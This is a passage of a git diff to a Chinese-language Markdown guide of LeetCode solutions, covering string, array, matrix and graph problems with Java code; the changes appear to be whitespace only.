+        cnts[c]++;
+    }
+    int palindrome = 0;
+    for (int cnt : cnts) {
+        palindrome += (cnt / 2) * 2;
+    }
+    if (palindrome < s.length()) {
+        palindrome++;   // 这个条件下 s 中一定有单个未使用的字符存在，可以把这个字符放到回文的最中间
+    }
+    return palindrome;
 }
 ```
 
-**字符串同构** 
+**字符串同构**
 
-[205. Isomorphic Strings (Easy)](https://leetcode.com/problems/isomorphic-strings/description/)
+[205. Isomorphic Strings (Easy)](https://leetcode.com/problems/isomorphic-strings/description/)
 
 ```html
-Given "egg", "add", return true.
-Given "foo", "bar", return false.
-Given "paper", "title", return true.
+Given "egg", "add", return true.
+Given "foo", "bar", return false.
+Given "paper", "title", return true.
 ```
 
 记录一个字符上次出现的位置，如果两个字符串中的字符上次出现的位置一样，那么就属于同构。
 
 ```java
-public boolean isIsomorphic(String s, String t) {
-    int[] preIndexOfS = new int[256];
-    int[] preIndexOfT = new int[256];
-    for (int i = 0; i < s.length(); i++) {
-        char sc = s.charAt(i), tc = t.charAt(i);
-        if (preIndexOfS[sc] != preIndexOfT[tc]) {
-            return false;
-        }
-        preIndexOfS[sc] = i + 1;
-        preIndexOfT[tc] = i + 1;
-    }
-    return true;
+public boolean isIsomorphic(String s, String t) {
+    int[] preIndexOfS = new int[256];
+    int[] preIndexOfT = new int[256];
+    for (int i = 0; i < s.length(); i++) {
+        char sc = s.charAt(i), tc = t.charAt(i);
+        if (preIndexOfS[sc] != preIndexOfT[tc]) {
+            return false;
+        }
+        preIndexOfS[sc] = i + 1;
+        preIndexOfT[tc] = i + 1;
+    }
+    return true;
 }
 ```
 
-**回文子字符串个数** 
+**回文子字符串个数**
 
-[647. Palindromic Substrings (Medium)](https://leetcode.com/problems/palindromic-substrings/description/)
+[647. Palindromic Substrings (Medium)](https://leetcode.com/problems/palindromic-substrings/description/)
 
 ```html
-Input: "aaa"
-Output: 6
-Explanation: Six palindromic strings: "a", "a", "a", "aa", "aa", "aaa".
+Input: "aaa"
+Output: 6
+Explanation: Six palindromic strings: "a", "a", "a", "aa", "aa", "aaa".
 ```
 
 从字符串的某一位开始，尝试着去扩展子字符串。
 
 ```java
-private int cnt = 0;
+private int cnt = 0;
 
-public int countSubstrings(String s) {
-    for (int i = 0; i < s.length(); i++) {
-        extendSubstrings(s, i, i);     // 奇数长度
-        extendSubstrings(s, i, i + 1); // 偶数长度
-    }
-    return cnt;
+public int countSubstrings(String s) {
+    for (int i = 0; i < s.length(); i++) {
+        extendSubstrings(s, i, i);     // 奇数长度
+        extendSubstrings(s, i, i + 1); // 偶数长度
+    }
+    return cnt;
 }
 
-private void extendSubstrings(String s, int start, int end) {
-    while (start >= 0 && end < s.length() && s.charAt(start) == s.charAt(end)) {
-        start--;
-        end++;
-        cnt++;
-    }
+private void extendSubstrings(String s, int start, int end) {
+    while (start >= 0 && end < s.length() && s.charAt(start) == s.charAt(end)) {
+        start--;
+        end++;
+        cnt++;
+    }
 }
 ```
 
-**判断一个整数是否是回文数** 
+**判断一个整数是否是回文数**
 
-[9. Palindrome Number (Easy)](https://leetcode.com/problems/palindrome-number/description/)
+[9. Palindrome Number (Easy)](https://leetcode.com/problems/palindrome-number/description/)
 
 要求不能使用额外空间，也就不能将整数转换为字符串进行判断。
 
 将整数分成左右两部分，右边那部分需要转置，然后判断这两部分是否相等。
 
 ```java
-public boolean isPalindrome(int x) {
-    if (x == 0) {
-        return true;
-    }
-    if (x < 0 || x % 10 == 0) {
-        return false;
-    }
-    int right = 0;
-    while (x > right) {
-        right = right * 10 + x % 10;
-        x /= 10;
-    }
-    return x == right || x == right / 10;
+public boolean isPalindrome(int x) {
+    if (x == 0) {
+        return true;
+    }
+    if (x < 0 || x % 10 == 0) {
+        return false;
+    }
+    int right = 0;
+    while (x > right) {
+        right = right * 10 + x % 10;
+        x /= 10;
+    }
+    return x == right || x == right / 10;
 }
 ```
 
-**统计二进制字符串中连续 1 和连续 0 数量相同的子字符串个数** 
+**统计二进制字符串中连续 1 和连续 0 数量相同的子字符串个数**
 
-[696. Count Binary Substrings (Easy)](https://leetcode.com/problems/count-binary-substrings/description/)
+[696. Count Binary Substrings (Easy)](https://leetcode.com/problems/count-binary-substrings/description/)
 
 ```html
-Input: "00110011"
-Output: 6
-Explanation: There are 6 substrings that have equal number of consecutive 1's and 0's: "0011", "01", "1100", "10", "0011", and "01".
+Input: "00110011"
+Output: 6
+Explanation: There are 6 substrings that have equal number of consecutive 1's and 0's: "0011", "01", "1100", "10", "0011", and "01".
 ```
 
 ```java
-public int countBinarySubstrings(String s) {
-    int preLen = 0, curLen = 1, count = 0;
-    for (int i = 1; i < s.length(); i++) {
-        if (s.charAt(i) == s.charAt(i - 1)) {
-            curLen++;
-        } else {
-            preLen = curLen;
-            curLen = 1;
-        }
+public int countBinarySubstrings(String s) {
+    int preLen = 0, curLen = 1, count = 0;
+    for (int i = 1; i < s.length(); i++) {
+        if (s.charAt(i) == s.charAt(i - 1)) {
+            curLen++;
+        } else {
+            preLen = curLen;
+            curLen = 1;
+        }
 
-        if (preLen >= curLen) {
-            count++;
-        }
-    }
-    return count;
+        if (preLen >= curLen) {
+            count++;
+        }
+    }
+    return count;
 }
 ```
 
-## 数组与矩阵
+## 数组与矩阵
 
-**把数组中的 0 移到末尾** 
+**把数组中的 0 移到末尾**
 
-[283. Move Zeroes (Easy)](https://leetcode.com/problems/move-zeroes/description/)
+[283. Move Zeroes (Easy)](https://leetcode.com/problems/move-zeroes/description/)
 
 ```html
-For example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0].
+For example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0].
 ```
 
 ```java
-public void moveZeroes(int[] nums) {
-    int idx = 0;
-    for (int num : nums) {
-        if (num != 0) {
-            nums[idx++] = num;
-        }
-    }
-    while (idx < nums.length) {
-        nums[idx++] = 0;
-    }
+public void moveZeroes(int[] nums) {
+    int idx = 0;
+    for (int num : nums) {
+        if (num != 0) {
+            nums[idx++] = num;
+        }
+    }
+    while (idx < nums.length) {
+        nums[idx++] = 0;
+    }
 }
 ```
 
-**改变矩阵维度** 
+**改变矩阵维度**
 
-[566. Reshape the Matrix (Easy)](https://leetcode.com/problems/reshape-the-matrix/description/)
+[566. Reshape the Matrix (Easy)](https://leetcode.com/problems/reshape-the-matrix/description/)
 
 ```html
 Input:
-nums =
+nums =
 [[1,2],
- [3,4]]
-r = 1, c = 4
+ [3,4]]
+r = 1, c = 4
 
 Output:
 [[1,2,3,4]]
 
 Explanation:
-The row-traversing of nums is [1,2,3,4]. The new reshaped matrix is a 1 * 4 matrix, fill it row by row by using the previous list.
+The row-traversing of nums is [1,2,3,4]. The new reshaped matrix is a 1 * 4 matrix, fill it row by row by using the previous list.
 ```
 
 ```java
-public int[][] matrixReshape(int[][] nums, int r, int c) {
-    int m = nums.length, n = nums[0].length;
-    if (m * n != r * c) {
-        return nums;
-    }
-    int[][] reshapedNums = new int[r][c];
-    int index = 0;
-    for (int i = 0; i < r; i++) {
-        for (int j = 0; j < c; j++) {
-            reshapedNums[i][j] = nums[index / n][index % n];
-            index++;
-        }
-    }
-    return reshapedNums;
+public int[][] matrixReshape(int[][] nums, int r, int c) {
+    int m = nums.length, n = nums[0].length;
+    if (m * n != r * c) {
+        return nums;
+    }
+    int[][] reshapedNums = new int[r][c];
+    int index = 0;
+    for (int i = 0; i < r; i++) {
+        for (int j = 0; j < c; j++) {
+            reshapedNums[i][j] = nums[index / n][index % n];
+            index++;
+        }
+    }
+    return reshapedNums;
 }
 ```
 
-**找出数组中最长的连续 1** 
+**找出数组中最长的连续 1**
 
-[485. Max Consecutive Ones (Easy)](https://leetcode.com/problems/max-consecutive-ones/description/)
+[485. Max Consecutive Ones (Easy)](https://leetcode.com/problems/max-consecutive-ones/description/)
 
 ```java
-public int findMaxConsecutiveOnes(int[] nums) {
-    int max = 0, cur = 0;
-    for (int x : nums) {
-        cur = x == 0 ? 0 : cur + 1;
-        max = Math.max(max, cur);
-    }
-    return max;
+public int findMaxConsecutiveOnes(int[] nums) {
+    int max = 0, cur = 0;
+    for (int x : nums) {
+        cur = x == 0 ? 0 : cur + 1;
+        max = Math.max(max, cur);
+    }
+    return max;
 }
 ```
 
-**有序矩阵查找** 
+**有序矩阵查找**
 
-[240. Search a 2D Matrix II (Medium)](https://leetcode.com/problems/search-a-2d-matrix-ii/description/)
+[240. Search a 2D Matrix II (Medium)](https://leetcode.com/problems/search-a-2d-matrix-ii/description/)
 
 ```html
 [
-   [ 1,  5,  9],
-   [10, 11, 13],
-   [12, 13, 15]
+   [ 1,  5,  9],
+   [10, 11, 13],
+   [12, 13, 15]
 ]
 ```
 
 ```java
-public boolean searchMatrix(int[][] matrix, int target) {
-    if (matrix == null || matrix.length == 0 || matrix[0].length == 0) return false;
-    int m = matrix.length, n = matrix[0].length;
-    int row = 0, col = n - 1;
-    while (row < m && col >= 0) {
-        if (target == matrix[row][col]) return true;
-        else if (target < matrix[row][col]) col--;
-        else row++;
-    }
-    return false;
+public boolean searchMatrix(int[][] matrix, int target) {
+    if (matrix == null || matrix.length == 0 || matrix[0].length == 0) return false;
+    int m = matrix.length, n = matrix[0].length;
+    int row = 0, col = n - 1;
+    while (row < m && col >= 0) {
+        if (target == matrix[row][col]) return true;
+        else if (target < matrix[row][col]) col--;
+        else row++;
+    }
+    return false;
 }
 ```
 
-**有序矩阵的 Kth Element** 
+**有序矩阵的 Kth Element**
 
-[378. Kth Smallest Element in a Sorted Matrix ((Medium))](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/description/)
+[378. Kth Smallest Element in a Sorted Matrix ((Medium))](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/description/)
 
 ```html
-matrix = [
-  [ 1,  5,  9],
-  [10, 11, 13],
-  [12, 13, 15]
+matrix = [
+  [ 1,  5,  9],
+  [10, 11, 13],
+  [12, 13, 15]
 ],
-k = 8,
+k = 8,
 
-return 13.
+return 13.
 ```
 
-解题参考：[Share my thoughts and Clean Java Code](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/discuss/85173)
+解题参考：[Share my thoughts and Clean Java Code](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/discuss/85173)
 
 二分查找解法：
 
 ```java
-public int kthSmallest(int[][] matrix, int k) {
-    int m = matrix.length, n = matrix[0].length;
-    int lo = matrix[0][0], hi = matrix[m - 1][n - 1];
-    while (lo <= hi) {
-        int mid = lo + (hi - lo) / 2;
-        int cnt = 0;
-        for (int i = 0; i < m; i++) {
-            for (int j = 0; j < n && matrix[i][j] <= mid; j++) {
-                cnt++;
-            }
-        }
-        if (cnt < k) lo = mid + 1;
-        else hi = mid - 1;
-    }
-    return lo;
+public int kthSmallest(int[][] matrix, int k) {
+    int m = matrix.length, n = matrix[0].length;
+    int lo = matrix[0][0], hi = matrix[m - 1][n - 1];
+    while (lo <= hi) {
+        int mid = lo + (hi - lo) / 2;
+        int cnt = 0;
+        for (int i = 0; i < m; i++) {
+            for (int j = 0; j < n && matrix[i][j] <= mid; j++) {
+                cnt++;
+            }
+        }
+        if (cnt < k) lo = mid + 1;
+        else hi = mid - 1;
+    }
+    return lo;
 }
 ```
 
 堆解法：
 
 ```java
-public int kthSmallest(int[][] matrix, int k) {
-    int m = matrix.length, n = matrix[0].length;
-    PriorityQueue<Tuple> pq = new PriorityQueue<Tuple>();
-    for(int j = 0; j < n; j++) pq.offer(new Tuple(0, j, matrix[0][j]));
-    for(int i = 0; i < k - 1; i++) { // 小根堆，去掉 k - 1 个堆顶元素，此时堆顶元素就是第 k 的数
-        Tuple t = pq.poll();
-        if(t.x == m - 1) continue;
-        pq.offer(new Tuple(t.x + 1, t.y, matrix[t.x + 1][t.y]));
-    }
-    return pq.poll().val;
+public int kthSmallest(int[][] matrix, int k) {
+    int m = matrix.length, n = matrix[0].length;
+    PriorityQueue<Tuple> pq = new PriorityQueue<Tuple>();
+    for(int j = 0; j < n; j++) pq.offer(new Tuple(0, j, matrix[0][j]));
+    for(int i = 0; i < k - 1; i++) { // 小根堆，去掉 k - 1 个堆顶元素，此时堆顶元素就是第 k 的数
+        Tuple t = pq.poll();
+        if(t.x == m - 1) continue;
+        pq.offer(new Tuple(t.x + 1, t.y, matrix[t.x + 1][t.y]));
+    }
+    return pq.poll().val;
 }
 
-class Tuple implements Comparable<Tuple> {
-    int x, y, val;
-    public Tuple(int x, int y, int val) {
-        this.x = x; this.y = y; this.val = val;
-    }
+class Tuple implements Comparable<Tuple> {
+    int x, y, val;
+    public Tuple(int x, int y, int val) {
+        this.x = x; this.y = y; this.val = val;
+    }
 
-    @Override
-    public int compareTo(Tuple that) {
-        return this.val - that.val;
-    }
+    @Override
+    public int compareTo(Tuple that) {
+        return this.val - that.val;
+    }
 }
 ```
 
-**一个数组元素在 [1, n] 之间，其中一个数被替换为另一个数，找出重复的数和丢失的数** 
+**一个数组元素在 [1, n] 之间，其中一个数被替换为另一个数，找出重复的数和丢失的数**
 
-[645. Set Mismatch (Easy)](https://leetcode.com/problems/set-mismatch/description/)
+[645. Set Mismatch (Easy)](https://leetcode.com/problems/set-mismatch/description/)
 
 ```html
-Input: nums = [1,2,2,4]
-Output: [2,3]
+Input: nums = [1,2,2,4]
+Output: [2,3]
 ```
 
 ```html
-Input: nums = [1,2,2,4]
-Output: [2,3]
+Input: nums = [1,2,2,4]
+Output: [2,3]
 ```
 
-最直接的方法是先对数组进行排序，这种方法时间复杂度为 O(NlogN)。本题可以以 O(N) 的时间复杂度、O(1) 空间复杂度来求解。
+最直接的方法是先对数组进行排序，这种方法时间复杂度为 O(NlogN)。本题可以以 O(N) 的时间复杂度、O(1) 空间复杂度来求解。
 
 主要思想是通过交换数组元素，使得数组上的元素在正确的位置上。
 
 ```java
-public int[] findErrorNums(int[] nums) {
-    for (int i = 0; i < nums.length; i++) {
-        while (nums[i] != i + 1 && nums[nums[i] - 1] != nums[i]) {
-            swap(nums, i, nums[i] - 1);
-        }
-    }
-    for (int i = 0; i < nums.length; i++) {
-        if (nums[i] != i + 1) {
-            return new int[]{nums[i], i + 1};
-        }
-    }
-    return null;
+public int[] findErrorNums(int[] nums) {
+    for (int i = 0; i < nums.length; i++) {
+        while (nums[i] != i + 1 && nums[nums[i] - 1] != nums[i]) {
+            swap(nums, i, nums[i] - 1);
+        }
+    }
+    for (int i = 0; i < nums.length; i++) {
+        if (nums[i] != i + 1) {
+            return new int[]{nums[i], i + 1};
+        }
+    }
+    return null;
 }
 
-private void swap(int[] nums, int i, int j) {
-    int tmp = nums[i];
-    nums[i] = nums[j];
-    nums[j] = tmp;
+private void swap(int[] nums, int i, int j) {
+    int tmp = nums[i];
+    nums[i] = nums[j];
+    nums[j] = tmp;
 }
 ```
 
 类似题目：
 
-- [448. Find All Numbers Disappeared in an Array (Easy)](https://leetcode.com/problems/find-all-numbers-disappeared-in-an-array/description/)，寻找所有丢失的元素
-- [442. Find All Duplicates in an Array (Medium)](https://leetcode.com/problems/find-all-duplicates-in-an-array/description/)，寻找所有重复的元素。
+- [448. Find All Numbers Disappeared in an Array (Easy)](https://leetcode.com/problems/find-all-numbers-disappeared-in-an-array/description/)，寻找所有丢失的元素
+- [442. Find All Duplicates in an Array (Medium)](https://leetcode.com/problems/find-all-duplicates-in-an-array/description/)，寻找所有重复的元素。
 
-**找出数组中重复的数，数组值在 [1, n] 之间** 
+**找出数组中重复的数，数组值在 [1, n] 之间**
 
-[287. Find the Duplicate Number (Medium)](https://leetcode.com/problems/find-the-duplicate-number/description/)
+[287. Find the Duplicate Number (Medium)](https://leetcode.com/problems/find-the-duplicate-number/description/)
 
 要求不能修改数组，也不能使用额外的空间。
 
 二分查找解法：
 
 ```java
-public int findDuplicate(int[] nums) {
-     int l = 1, h = nums.length - 1;
-     while (l <= h) {
-         int mid = l + (h - l) / 2;
-         int cnt = 0;
-         for (int i = 0; i < nums.length; i++) {
-             if (nums[i] <= mid) cnt++;
-         }
-         if (cnt > mid) h = mid - 1;
-         else l = mid + 1;
-     }
-     return l;
+public int findDuplicate(int[] nums) {
+     int l = 1, h = nums.length - 1;
+     while (l <= h) {
+         int mid = l + (h - l) / 2;
+         int cnt = 0;
+         for (int i = 0; i < nums.length; i++) {
+             if (nums[i] <= mid) cnt++;
+         }
+         if (cnt > mid) h = mid - 1;
+         else l = mid + 1;
+     }
+     return l;
 }
 ```
 
 双指针解法，类似于有环链表中找出环的入口：
 
 ```java
-public int findDuplicate(int[] nums) {
-    int slow = nums[0], fast = nums[nums[0]];
-    while (slow != fast) {
-        slow = nums[slow];
-        fast = nums[nums[fast]];
-    }
-    fast = 0;
-    while (slow != fast) {
-        slow = nums[slow];
-        fast = nums[fast];
-    }
-    return slow;
+public int findDuplicate(int[] nums) {
+    int slow = nums[0], fast = nums[nums[0]];
+    while (slow != fast) {
+        slow = nums[slow];
+        fast = nums[nums[fast]];
+    }
+    fast = 0;
+    while (slow != fast) {
+        slow = nums[slow];
+        fast = nums[fast];
+    }
+    return slow;
 }
 ```
 
-**数组相邻差值的个数** 
+**数组相邻差值的个数**
 
-[667. Beautiful Arrangement II (Medium)](https://leetcode.com/problems/beautiful-arrangement-ii/description/)
+[667. Beautiful Arrangement II (Medium)](https://leetcode.com/problems/beautiful-arrangement-ii/description/)
 
 ```html
-Input: n = 3, k = 2
-Output: [1, 3, 2]
-Explanation: The [1, 3, 2] has three different positive integers ranging from 1 to 3, and the [2, 1] has exactly 2 distinct integers: 1 and 2.
+Input: n = 3, k = 2
+Output: [1, 3, 2]
+Explanation: The [1, 3, 2] has three different positive integers ranging from 1 to 3, and the [2, 1] has exactly 2 distinct integers: 1 and 2.
 ```
 
-题目描述：数组元素为 1\~n 的整数，要求构建数组，使得相邻元素的差值不相同的个数为 k。
+题目描述：数组元素为 1~n 的整数，要求构建数组，使得相邻元素的差值不相同的个数为 k。
 
-让前 k+1 个元素构建出 k 个不相同的差值，序列为：1 k+1 2 k 3 k-1 ... k/2 k/2+1.
+让前 k+1 个元素构建出 k 个不相同的差值，序列为：1 k+1 2 k 3 k-1 ... k/2 k/2+1.
 
 ```java
-public int[] constructArray(int n, int k) {
-    int[] ret = new int[n];
-    ret[0] = 1;
-    for (int i = 1, interval = k; i <= k; i++, interval--) {
-        ret[i] = i % 2 == 1 ? ret[i - 1] + interval : ret[i - 1] - interval;
-    }
-    for (int i = k + 1; i < n; i++) {
-        ret[i] = i + 1;
-    }
-    return ret;
+public int[] constructArray(int n, int k) {
+    int[] ret = new int[n];
+    ret[0] = 1;
+    for (int i = 1, interval = k; i <= k; i++, interval--) {
+        ret[i] = i % 2 == 1 ? ret[i - 1] + interval : ret[i - 1] - interval;
+    }
+    for (int i = k + 1; i < n; i++) {
+        ret[i] = i + 1;
+    }
+    return ret;
 }
 ```
 
-**数组的度** 
+**数组的度**
 
-[697. Degree of an Array (Easy)](https://leetcode.com/problems/degree-of-an-array/description/)
+[697. Degree of an Array (Easy)](https://leetcode.com/problems/degree-of-an-array/description/)
 
 ```html
-Input: [1,2,2,3,1,4,2]
-Output: 6
+Input: [1,2,2,3,1,4,2]
+Output: 6
 ```
 
-题目描述：数组的度定义为元素出现的最高频率，例如上面的数组度为 3。要求找到一个最小的子数组，这个子数组的度和原数组一样。
+题目描述：数组的度定义为元素出现的最高频率，例如上面的数组度为 3。要求找到一个最小的子数组，这个子数组的度和原数组一样。
 
 ```java
-public int findShortestSubArray(int[] nums) {
-    Map<Integer, Integer> numsCnt = new HashMap<>();
-    Map<Integer, Integer> numsLastIndex = new HashMap<>();
-    Map<Integer, Integer> numsFirstIndex = new HashMap<>();
-    for (int i = 0; i < nums.length; i++) {
-        int num = nums[i];
-        numsCnt.put(num, numsCnt.getOrDefault(num, 0) + 1);
-        numsLastIndex.put(num, i);
-        if (!numsFirstIndex.containsKey(num)) {
-            numsFirstIndex.put(num, i);
-        }
-    }
-    int maxCnt = 0;
-    for (int num : nums) {
-        maxCnt = Math.max(maxCnt, numsCnt.get(num));
-    }
-    int ret = nums.length;
-    for (int i = 0; i < nums.length; i++) {
-        int num = nums[i];
-        int cnt = numsCnt.get(num);
-        if (cnt != maxCnt) continue;
-        ret = Math.min(ret, numsLastIndex.get(num) - numsFirstIndex.get(num) + 1);
-    }
-    return ret;
+public int findShortestSubArray(int[] nums) {
+    Map<Integer, Integer> numsCnt = new HashMap<>();
+    Map<Integer, Integer> numsLastIndex = new HashMap<>();
+    Map<Integer, Integer> numsFirstIndex = new HashMap<>();
+    for (int i = 0; i < nums.length; i++) {
+        int num = nums[i];
+        numsCnt.put(num, numsCnt.getOrDefault(num, 0) + 1);
+        numsLastIndex.put(num, i);
+        if (!numsFirstIndex.containsKey(num)) {
+            numsFirstIndex.put(num, i);
+        }
+    }
+    int maxCnt = 0;
+    for (int num : nums) {
+        maxCnt = Math.max(maxCnt, numsCnt.get(num));
+    }
+    int ret = nums.length;
+    for (int i = 0; i < nums.length; i++) {
+        int num = nums[i];
+        int cnt = numsCnt.get(num);
+        if (cnt != maxCnt) continue;
+        ret = Math.min(ret, numsLastIndex.get(num) - numsFirstIndex.get(num) + 1);
+    }
+    return ret;
 }
 ```
 
-**对角元素相等的矩阵** 
+**对角元素相等的矩阵**
 
-[766. Toeplitz Matrix (Easy)](https://leetcode.com/problems/toeplitz-matrix/description/)
+[766. Toeplitz Matrix (Easy)](https://leetcode.com/problems/toeplitz-matrix/description/)
 
 ```html
 1234
 5123
 9512
 
-In the above grid, the diagonals are "[9]", "[5, 5]", "[1, 1, 1]", "[2, 2, 2]", "[3, 3]", "[4]", and in each diagonal all elements are the same, so the answer is True.
+In the above grid, the diagonals are "[9]", "[5, 5]", "[1, 1, 1]", "[2, 2, 2]", "[3, 3]", "[4]", and in each diagonal all elements are the same, so the answer is True.
 ```
 
 ```java
-public boolean isToeplitzMatrix(int[][] matrix) {
-    for (int i = 0; i < matrix[0].length; i++) {
-        if (!check(matrix, matrix[0][i], 0, i)) {
-            return false;
-        }
-    }
-    for (int i = 0; i < matrix.length; i++) {
-        if (!check(matrix, matrix[i][0], i, 0)) {
-            return false;
-        }
-    }
-    return true;
+public boolean isToeplitzMatrix(int[][] matrix) {
+    for (int i = 0; i < matrix[0].length; i++) {
+        if (!check(matrix, matrix[0][i], 0, i)) {
+            return false;
+        }
+    }
+    for (int i = 0; i < matrix.length; i++) {
+        if (!check(matrix, matrix[i][0], i, 0)) {
+            return false;
+        }
+    }
+    return true;
 }
 
-private boolean check(int[][] matrix, int expectValue, int row, int col) {
-    if (row >= matrix.length || col >= matrix[0].length) {
-        return true;
-    }
-    if (matrix[row][col] != expectValue) {
-        return false;
-    }
-    return check(matrix, expectValue, row + 1, col + 1);
+private boolean check(int[][] matrix, int expectValue, int row, int col) {
+    if (row >= matrix.length || col >= matrix[0].length) {
+        return true;
+    }
+    if (matrix[row][col] != expectValue) {
+        return false;
+    }
+    return check(matrix, expectValue, row + 1, col + 1);
 }
 ```
 
-**嵌套数组** 
+**嵌套数组**
 
-[565. Array Nesting (Medium)](https://leetcode.com/problems/array-nesting/description/)
+[565. Array Nesting (Medium)](https://leetcode.com/problems/array-nesting/description/)
 
 ```html
-Input: A = [5,4,0,3,1,6,2]
-Output: 4
+Input: A = [5,4,0,3,1,6,2]
+Output: 4
 Explanation:
-A[0] = 5, A[1] = 4, A[2] = 0, A[3] = 3, A[4] = 1, A[5] = 6, A[6] = 2.
+A[0] = 5, A[1] = 4, A[2] = 0, A[3] = 3, A[4] = 1, A[5] = 6, A[6] = 2.
 
-One of the longest S[K]:
-S[0] = {A[0], A[5], A[6], A[2]} = {5, 6, 2, 0}
+One of the longest S[K]:
+S[0] = {A[0], A[5], A[6], A[2]} = {5, 6, 2, 0}
 ```
 
-题目描述：S[i] 表示一个集合，集合的第一个元素是 A[i]，第二个元素是 A[A[i]]，如此嵌套下去。求最大的 S[i]。
+题目描述：S[i] 表示一个集合，集合的第一个元素是 A[i]，第二个元素是 A[A[i]]，如此嵌套下去。求最大的 S[i]。
 
 ```java
-public int arrayNesting(int[] nums) {
-    int max = 0;
-    for (int i = 0; i < nums.length; i++) {
-        int cnt = 0;
-        for (int j = i; nums[j] != -1; ) {
-            cnt++;
-            int t = nums[j];
-            nums[j] = -1; // 标记该位置已经被访问
-            j = t;
+public int arrayNesting(int[] nums) {
+    int max = 0;
+    for (int i = 0; i < nums.length; i++) {
+        int cnt = 0;
+        for (int j = i; nums[j] != -1; ) {
+            cnt++;
+            int t = nums[j];
+            nums[j] = -1; // 标记该位置已经被访问
+            j = t;
 
-        }
-        max = Math.max(max, cnt);
-    }
-    return max;
+        }
+        max = Math.max(max, cnt);
+    }
+    return max;
 }
 ```
 
-**分隔数组** 
+**分隔数组**
 
-[769. Max Chunks To Make Sorted (Medium)](https://leetcode.com/problems/max-chunks-to-make-sorted/description/)
+[769. Max Chunks To Make Sorted (Medium)](https://leetcode.com/problems/max-chunks-to-make-sorted/description/)
 
 ```html
-Input: arr = [1,0,2,3,4]
-Output: 4
+Input: arr = [1,0,2,3,4]
+Output: 4
 Explanation:
-We can split into two chunks, such as [1, 0], [2, 3, 4].
-However, splitting into [1, 0], [2], [3], [4] is the highest number of chunks possible.
+We can split into two chunks, such as [1, 0], [2, 3, 4].
+However, splitting into [1, 0], [2], [3], [4] is the highest number of chunks possible.
 ```
 
 题目描述：分隔数组，使得对每部分排序后数组就为有序。
 
 ```java
-public int maxChunksToSorted(int[] arr) {
-    if (arr == null) return 0;
-    int ret = 0;
-    int right = arr[0];
-    for (int i = 0; i < arr.length; i++) {
-        right = Math.max(right, arr[i]);
-        if (right == i) ret++;
-    }
-    return ret;
+public int maxChunksToSorted(int[] arr) {
+    if (arr == null) return 0;
+    int ret = 0;
+    int right = arr[0];
+    for (int i = 0; i < arr.length; i++) {
+        right = Math.max(right, arr[i]);
+        if (right == i) ret++;
+    }
+    return ret;
 }
 ```
 
-## 图
+## 图
 
-### 二分图
+### 二分图
 
 如果可以用两种颜色对图中的节点进行着色，并且保证相邻的节点颜色不同，那么这个图就是二分图。
 
-**判断是否为二分图** 
+**判断是否为二分图**
 
-[785. Is Graph Bipartite? (Medium)](https://leetcode.com/problems/is-graph-bipartite/description/)
+[785. Is Graph Bipartite? (Medium)](https://leetcode.com/problems/is-graph-bipartite/description/)
 
 ```html
-Input: [[1,3], [0,2], [1,3], [0,2]]
-Output: true
+Input: [[1,3], [0,2], [1,3], [0,2]]
+Output: true
 Explanation:
-The graph looks like this:
+The graph looks like this:
 0----1
-|    |
-|    |
+|    |
+|    |
 3----2
-We can divide the vertices into two groups: {0, 2} and {1, 3}.
+We can divide the vertices into two groups: {0, 2} and {1, 3}.
 ```
 
 ```html
-Example 2:
-Input: [[1,2,3], [0,2], [0,1,3], [0,2]]
-Output: false
+Example 2:
+Input: [[1,2,3], [0,2], [0,1,3], [0,2]]
+Output: false
 Explanation:
-The graph looks like this:
+The graph looks like this:
 0----1
-| \  |
-|  \ |
+| \  |
+|  \ |
 3----2
-We cannot find a way to divide the set of nodes into two independent subsets.
+We cannot find a way to divide the set of nodes into two independent subsets.
 ```
 
 ```java
-public boolean isBipartite(int[][] graph) {
-    int[] colors = new int[graph.length];
-    Arrays.fill(colors, -1);
-    for (int i = 0; i < graph.length; i++) {  // 处理图不是连通的情况
-        if (colors[i] == -1 && !isBipartite(i, 0, colors, graph)) {
-            return false;
-        }
-    }
-    return true;
+public boolean isBipartite(int[][] graph) {
+    int[] colors = new int[graph.length];
+    Arrays.fill(colors, -1);
+    for (int i = 0; i < graph.length; i++) {  // 处理图不是连通的情况
+        if (colors[i] == -1 && !isBipartite(i, 0, colors, graph)) {
+            return false;
+        }
+    }
+    return true;
 }
 
-private boolean isBipartite(int curNode, int curColor, int[] colors, int[][] graph) {
-    if (colors[curNode] != -1) {
-        return colors[curNode] == curColor;
-    }
-    colors[curNode] = curColor;
-    for (int nextNode : graph[curNode]) {
-        if (!isBipartite(nextNode, 1 - curColor, colors, graph)) {
-            return false;
-        }
-    }
-    return true;
+private boolean isBipartite(int curNode, int curColor, int[] colors, int[][] graph) {
+    if (colors[curNode] != -1) {
+        return colors[curNode] == curColor;
+    }
+    colors[curNode] = curColor;
+    for (int nextNode : graph[curNode]) {
+        if (!isBipartite(nextNode, 1 - curColor, colors, graph)) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-### 拓扑排序
+### 拓扑排序
 
 常用于在具有先序关系的任务规划中。
 
-**课程安排的合法性** 
+**课程安排的合法性**
 
-[207. Course Schedule (Medium)](https://leetcode.com/problems/course-schedule/description/)
+[207. Course Schedule (Medium)](https://leetcode.com/problems/course-schedule/description/)
 
 ```html
-2, [[1,0]]
-return true
+2, [[1,0]]
+return true
 ```
 
 ```html
-2, [[1,0],[0,1]]
-return false
+2, [[1,0],[0,1]]
+return false
 ```
 
 题目描述：一个课程可能会先修课程，判断给定的先修课程规定是否合法。
@@ -6477,579 +6421,579 @@ return false
 本题不需要使用拓扑排序，只需要检测有向图是否存在环即可。
 
 ```java
-public boolean canFinish(int numCourses, int[][] prerequisites) {
-    List<Integer>[] graphic = new List[numCourses];
-    for (int i = 0; i < numCourses; i++) {
-        graphic[i] = new ArrayList<>();
-    }
-    for (int[] pre : prerequisites) {
-        graphic[pre[0]].add(pre[1]);
-    }
-    boolean[] globalMarked = new boolean[numCourses];
-    boolean[] localMarked = new boolean[numCourses];
-    for (int i = 0; i < numCourses; i++) {
-        if (hasCycle(globalMarked, localMarked, graphic, i)) {
-            return false;
-        }
-    }
-    return true;
+public boolean canFinish(int numCourses, int[][] prerequisites) {
+    List<Integer>[] graphic = new List[numCourses];
+    for (int i = 0; i < numCourses; i++) {
